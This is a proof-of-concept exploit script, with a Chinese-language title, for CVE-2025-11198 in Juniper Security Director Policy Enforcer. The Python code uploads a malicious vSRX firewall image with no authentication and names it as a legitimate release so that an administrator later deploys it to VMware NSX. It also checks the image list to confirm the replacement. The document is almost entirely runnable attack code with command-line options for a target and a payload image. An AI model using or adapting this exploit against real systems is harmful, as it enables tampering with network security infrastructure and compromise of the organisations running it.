CVE-2025-11198：Juniper Security Director Policy Enforcer缺少认证关键功能漏洞

# CVE-2025-11198 PoC - Juniper Security Director Policy Enforcer Missing Authentication # This PoC demonstrates the missing authentication vulnerability in the image upload functionality import requests import argparse class PolicyEnforcerExploit: """ Exploit for CVE-2025-11198: Missing Authentication for Critical Function in Juniper Security Director Policy Enforcer. The vulnerability allows unauthenticated attackers to upload malicious vSRX images that will be deployed to VMware NSX when a trusted user initiates a deployment operation. """ def __init__(self, target_url, malicious_image_path): self.target_url = target_url.rstrip('/') self.malicious_image_path = malicious_image_path self.session = requests.Session() def upload_malicious_image(self): """ Upload a malicious vSRX image to the Policy Enforcer without authentication. The image upload endpoint lacks proper authentication checks. """ # Target endpoint for image upload (vulnerable - no auth required) upload_endpoint = f"{self.target_url}/api/v1/images/upload" # Prepare the malicious vSRX image for upload with open(self.malicious_image_path, 'rb') as img_file: files = { 'image': ('vsrx-image.qcow2', img_file, 'application/octet-stream') } data = { 'name': 'vsrx-23.1R1', # Disguise as legitimate version 'type': 'vSRX', 'description': 'Juniper vSRX Virtual Firewall' } # No authentication headers needed - vulnerability allows unauthenticated access response = self.session.post( upload_endpoint, files=files, data=data ) if response.status_code == 200: print(f"[+] Malicious image uploaded successfully") print(f"[+] Image will be deployed when admin triggers vSRX deployment") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False def verify_replacement(self): """ Verify that the malicious image has replaced the legitimate one in the image repository. """ list_endpoint = f"{self.target_url}/api/v1/images/list" response = self.session.get(list_endpoint) if response.status_code == 200: images = response.json() for img in images: print(f"[*] Found image: {img.get('name')} - Type: {img.get('type')}") return True return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-11198 Exploit') parser.add_argument('-t', '--target', required=True, help='Target Policy Enforcer URL') parser.add_argument('-i', '--image', required=True, help='Path to malicious vSRX image') args = parser.parse_args() exploit = PolicyEnforcerExploit(args.target, args.image) print("[*] CVE-2025-11198 - Juniper Security Director Policy Enforcer Exploit") print("[*] Uploading malicious vSRX image without authentication...") if exploit.upload_malicious_image(): exploit.verify_replacement() print("[+] Exploit completed. Waiting for admin to trigger deployment...") if __name__ == "__main__": main()